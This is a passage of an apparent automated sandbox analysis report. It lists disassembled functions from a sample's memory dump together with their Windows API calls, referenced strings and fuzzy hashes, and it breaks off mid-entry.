Opcode ID: fd9f4e5796ff426001010c6032b0bd2709108ec26b7ef45d9eef3846ac2bdd07
Instruction ID: 6b40bdca6a02cd8c303c1b1c800ac92429027f894e9b325ac65d5e69f4ab0667
Opcode Fuzzy Hash: fd9f4e5796ff426001010c6032b0bd2709108ec26b7ef45d9eef3846ac2bdd07
Instruction Fuzzy Hash: 0CD01272911104EBD711AB49D842BDEBB68EB8135DF10853BF00171550C37D56459569

Function 00405B7B Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(000000FF,00000000,?,?,00000000,000000FF,?,00405BC6,00000000,?,00000000,?,00405BEC,00000000,?,00000000), ref: 00405B91

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: a0fa365660526cfbb9cae47ffd537a5a3e67cffdb1018a760807b9850e2f108c
Instruction ID: c5e24743f6b433bb21cc94cc2971fe47eb8403274bd7f90fdb54931116458873
Opcode Fuzzy Hash: a0fa365660526cfbb9cae47ffd537a5a3e67cffdb1018a760807b9850e2f108c
Instruction Fuzzy Hash: 7EE0EC75241208FBCB01CF90CD01FCE7BB9EB49754F208058E90596160D375AA14EB54

Function 0040FD0F Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040FD14

Part of subcall function 0040CAA2: __EH_prolog.LIBCMT ref: 0040CAA7

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: dbd4b9ed641e9152439da66c4e0b290fb7d266938089cc33f664c0651390565b
Instruction ID: 7c98d5485e7b61f989c29cfbefb74aac38a8df8cf277041967c76c7f99e82b19
Opcode Fuzzy Hash: dbd4b9ed641e9152439da66c4e0b290fb7d266938089cc33f664c0651390565b
Instruction Fuzzy Hash: E9D05EB1B101459BCB58EFB984427ADB7A0AF84308F00853FA016F27C0EB7C4A408A19

Function 0040551A Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: a5f15e60ddec85d8ac06024adb1482cc35c18756887bd61c03bc9ed0d5cb4483
Instruction ID: 986561ebb0227da743eeb2b9ec995cdcc659c9848a972ac8d271436d9e92df52
Opcode Fuzzy Hash: a5f15e60ddec85d8ac06024adb1482cc35c18756887bd61c03bc9ed0d5cb4483
Instruction Fuzzy Hash: 6BD0123150452166CF745E3C7C459C333D99A123B03660BAAF4B4D32E5D3748CC35AD4

Function 00405A63 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(00000000,?,00405A2C,?,00000000,00000003,?,00000000,?,00000000), ref: 00405A6E

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 762bf37c8decbf6063af4facc99c374a5abed3ea2b8a5978318a093aad6de801
Instruction ID: 8a38a6d9813b312501c47e0c29c9a2f8cf12ac5fa7676fc4773f80372e0f1af5
Opcode Fuzzy Hash: 762bf37c8decbf6063af4facc99c374a5abed3ea2b8a5978318a093aad6de801
Instruction Fuzzy Hash: 5CD0C93160462146CA645E3C7C849D737D89A16330325176AF0B5D22E4D3748D875E94

Function 00404BDC Relevance: 1.5, APIs: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040489C: SetFileAttributesA.KERNELBASE(?,00000000,00404D1C,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 0040489E

DeleteFileA.KERNELBASE(?,?,00404DBF,?,00000000,?,?,?,?,?,00000000), ref: 00404BED

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: File$AttributesDelete
String ID:
API String ID: 2910425767-0
Opcode ID: aaa2e24e3cadb2417611b806b2e2b1e55713074da21130e803bc74bd8fb11f06
Instruction ID: 9a45e8f854b003a178289988cc7fc064ae5902da4cc88310474d582750e90668
Opcode Fuzzy Hash: aaa2e24e3cadb2417611b806b2e2b1e55713074da21130e803bc74bd8fb11f06
Instruction Fuzzy Hash: 0BC08C26209231439A043ABA3805ACB171E0EC122030AC0BBB800A2059CB288DC221DC

Function 00405C5A Relevance: 1.5, APIs: 1, Instructions: 9timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE(?,?,?,?,00405C84,00000000,00000000,?,00402E12,?), ref: 00405C68

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: c611d48c496a84d7274e6d5b9c1e90c61bae575044892d23a6eff34163934cc8
Instruction ID: 87fe90df0bd66b56430cb58ce5188ab21e49bedd0782b4bf3c7b48ca6ef22eff
Opcode Fuzzy Hash: c611d48c496a84d7274e6d5b9c1e90c61bae575044892d23a6eff34163934cc8
Instruction Fuzzy Hash: 8EC04C36158105FF8F020F70CC04C5EBFA2EB99711F10C918B269C40B0C7328024EB02

Function 0040489C Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(?,00000000,00404D1C,?,00000000,0000002A,0000005C,00000003,?,00000000), ref: 0040489E

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9ef3a3077910c683e57a22045a29601e29b9581d2df390f15cf492c25b36c35e
Instruction ID: c0231da6564a4fbd22ddd4f059f5cfeb57e5ba4ab4dd36146b68eeddd1056acd
Opcode Fuzzy Hash: 9ef3a3077910c683e57a22045a29601e29b9581d2df390f15cf492c25b36c35e
Instruction Fuzzy Hash: 5BA002A03112059BA6145B315E0AB6F296DEDC9AE1705C56C7412C5060EB29C9505565

Function 0040498D Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNELBASE(?,00000000,00405228,?,?,?,?,00000003,?,00000000,?,00000000), ref: 00404990

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: b19b64997772cde21bab08b79878e27a599263e6d5f620d435ec54b846f4109b
Instruction ID: 18df801fa9cda183c38834b8287032c54ef98b8f5de1dc60049a64e9909c76fe
Opcode Fuzzy Hash: b19b64997772cde21bab08b79878e27a599263e6d5f620d435ec54b846f4109b
Instruction Fuzzy Hash: DCA0223030030283E2200F320E0AB0F280CAF08AC0F00C02C3000C80E0FB28C000008C

Non-executed Functions

Function 00418320 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 50libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,?,00000000,00000000,0041795A,?,Microsoft Visual C++ Runtime Library,00012010,?,0041BD2C,?,0041BD7C,?,?,?,Runtime Error!Program: ), ref: 00418332
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0041834A
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0041835B
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00418368

Strings

GetActiveWindow, xrefs: 00418355
user32.dll, xrefs: 0041832D
GetLastActivePopup, xrefs: 0041835D
MessageBoxA, xrefs: 00418344

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$MessageBoxA$user32.dll
API String ID: 2238633743-4044615076
Opcode ID: 3f0a24d6d85b05054a3dd2e72677b881a91c1b783ec14cf3ede4e9bf1f2578f7
Instruction ID: e87ed1bb16eb8be6f8b96595097180185a60ce52c98033cfd4ddfb8cddd90555
Opcode Fuzzy Hash: 3f0a24d6d85b05054a3dd2e72677b881a91c1b783ec14cf3ede4e9bf1f2578f7
Instruction Fuzzy Hash: C50179713002057F87209FB59C80A9B7AF4EB44B45318003EB558C3251DB6DCFC29BE9

Function 00417836 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 004178A3
GetStdHandle.KERNEL32(000000F4,0041BD2C,00000000,00000000,00000000,?), ref: 00417979
WriteFile.KERNEL32(00000000), ref: 00417980

Strings

Microsoft Visual C++ Runtime Library, xrefs: 0041794F
..., xrefs: 004178F5
X*B, xrefs: 00417844
Runtime Error!Program: , xrefs: 00417909
<program name unknown>, xrefs: 004178B3
*B, xrefs: 00417851

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program: $X*B$*B
API String ID: 3784150691-2787626558
Opcode ID: a5ae5b659794e102b2e8aa4557315333f416c08d847f0ab12ced78ba572f4f7a
Instruction ID: 83e6cc08efc147308ddc610541e3e7ace00831554afff49654370310fabd765f
Opcode Fuzzy Hash: a5ae5b659794e102b2e8aa4557315333f416c08d847f0ab12ced78ba572f4f7a
Instruction Fuzzy Hash: 6E310472A00218AFEF20E660DD45FDA737DEB45344F5000ABF544D6140EBBCAAC58BAD

Function 0041881D Relevance: 13.7, APIs: 9, Instructions: 177COMMON

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,0041BDF8,00000001,00000000,00000000,771AE860,004256C4,?,?,?,004186BE,?,?,?,00000000), ref: 0041885F
LCMapStringA.KERNEL32(00000000,00000100,0041BDF4,00000001,00000000,00000000,?,?,004186BE,?,?,?,00000000,00000001), ref: 0041887B
LCMapStringA.KERNEL32(?,?,?,004186BE,?,?,771AE860,004256C4,?,?,?,004186BE,?,?,?,00000000), ref: 004188C4
MultiByteToWideChar.KERNEL32(?,004256C5,?,004186BE,00000000,00000000,771AE860,004256C4,?,?,?,004186BE,?,?,?,00000000), ref: 004188FC
MultiByteToWideChar.KERNEL32(00000000,00000001,?,004186BE,?,00000000,?,?,004186BE,?), ref: 00418954
LCMapStringW.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,004186BE,?), ref: 0041896A
LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,004186BE,?), ref: 0041899D
LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,?,004186BE,?), ref: 00418A05

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: String$ByteCharMultiWide
String ID:
API String ID: 352835431-0
Opcode ID: 7893c33c6b407451d02d995758827eecb7b20065fa294207cf6247e34bc0c6e9
Instruction ID: 3960beb12fca16cbc5043acf4b8975ab8d8a6698fa07e30ad5f7fd63c5f4fb56
Opcode Fuzzy Hash: 7893c33c6b407451d02d995758827eecb7b20065fa294207cf6247e34bc0c6e9
Instruction Fuzzy Hash: 14517B71900209EFCF228F95CC45AEF7FB5FF48794F10452AF918A1260C7398991DBAA

Function 0041750F Relevance: 12.1, APIs: 8, Instructions: 132COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 0041752A
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 0041753E
GetEnvironmentStringsW.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 0041756A
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00414B9A), ref: 004175A2
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,00414B9A), ref: 004175C4
FreeEnvironmentStringsW.KERNEL32(00000000,?,00000000,?,?,?,?,00414B9A), ref: 004175DD
GetEnvironmentStrings.KERNEL32(?,00000000,?,?,?,?,00414B9A), ref: 004175F0
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041762E

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: da4329af8d6592d056d9235971ceaca8771b6712013f4c601b47c126e69dc7f4
Instruction ID: 0d29547afa55ef8e208fbe3ff43deda8167c9cf171b961166aceb77faed46397
Opcode Fuzzy Hash: da4329af8d6592d056d9235971ceaca8771b6712013f4c601b47c126e69dc7f4
Instruction Fuzzy Hash: 4A31ADB250D3157ED7207F799C848FBBABDEA49368B11053BF555C3200EA298DC286AD

Function 00418A6C Relevance: 9.1, APIs: 6, Instructions: 117COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,0041BDF8,00000001,?,771AE860,004256C4,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418AAB
GetStringTypeA.KERNEL32(00000000,00000001,0041BDF4,00000001,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418AC5
GetStringTypeA.KERNEL32(?,?,?,?,004186BE,771AE860,004256C4,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418AF9
MultiByteToWideChar.KERNEL32(?,004256C5,?,?,00000000,00000000,771AE860,004256C4,?,?,004186BE,?,?,?,00000000,00000001), ref: 00418B31
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,004186BE,?), ref: 00418B87
GetStringTypeW.KERNEL32(?,?,00000000,004186BE,?,?,?,?,?,?,004186BE,?), ref: 00418B99

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: 3d6b6e16685600d833415d128f0286c3ce565afe4e7b6c7271f7b5a09b5fc09b
Instruction ID: e288f18e772608454304c6360a88be647065f5ca3cb36798b5d5ed4d75a3f5a0
Opcode Fuzzy Hash: 3d6b6e16685600d833415d128f0286c3ce565afe4e7b6c7271f7b5a09b5fc09b
Instruction Fuzzy Hash: B0416DB2600219BFCF208F94DC86EEF7F79EB08794F10442AF915D2250D7389991CBA8

Function 004158B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 004158CF
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 00415904
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00415964

Strings

__GLOBAL_HEAP_SELECTED, xrefs: 0041593E
__MSVCRT_HEAP_SELECT, xrefs: 004158FF

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: a0a65974b78899c378749041d22a9f94542c4ef0915f209cf1eaea54d79fba9d
Instruction ID: 007b09a40ac423c1d447adb87a92c2e34be193f5817f586218815b66d4303cb2
Opcode Fuzzy Hash: a0a65974b78899c378749041d22a9f94542c4ef0915f209cf1eaea54d79fba9d
Instruction Fuzzy Hash: 403177F1961648EDEF3196709C82BDF3B78DB46324F2400DBD185D6242E6388EC68B1B

Function 00417641 Relevance: 7.6, APIs: 5, Instructions: 150COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 0041769F
GetFileType.KERNEL32(?,?,00000000), ref: 0041774A
GetStdHandle.KERNEL32(-000000F6,?,00000000), ref: 004177AD
GetFileType.KERNEL32(00000000,?,00000000), ref: 004177BB
SetHandleCount.KERNEL32 ref: 004177F2

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558665817.0000000000422000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558720118.0000000000423000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558772065.0000000000427000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_iYU7jmLL0jPLxgjctxjq1ReZ.jbxd

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: 8c6679148f64bb77278d6d77b9368511d7cfe70b0cd8573ea2dfe0e7b80ae48f
Instruction ID: 1521dec5194d53324a877df202082dadc936f581ec6971422c000dc394b087b4
Opcode Fuzzy Hash: 8c6679148f64bb77278d6d77b9368511d7cfe70b0cd8573ea2dfe0e7b80ae48f
Instruction Fuzzy Hash: 39510B716086458FC7208B28D8847A67BB0FB11378F65866ED5B2C72E0D738A886C759

Function 00403AA7 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

CharUpperW.USER32(00000000,00000000,?,00000000,00000000,?,00403B6F), ref: 00403AC2
GetLastError.KERNEL32(?,00000000,00000000,?,00403B6F), ref: 00403ACE
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,?,00000004,00000000,00000000,?,00000000,00000000,?,00403B6F), ref: 00403AE9
CharUpperA.USER32(?,?,00000000,00000000,?,00403B6F), ref: 00403B02
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,?,00000001,?,00000000,00000000,?,00403B6F), ref: 00403B15

Memory Dump Source

Source File: 00000012.00000002.2552649674.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.2546053594.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558280743.000000000041B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.2558618107.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
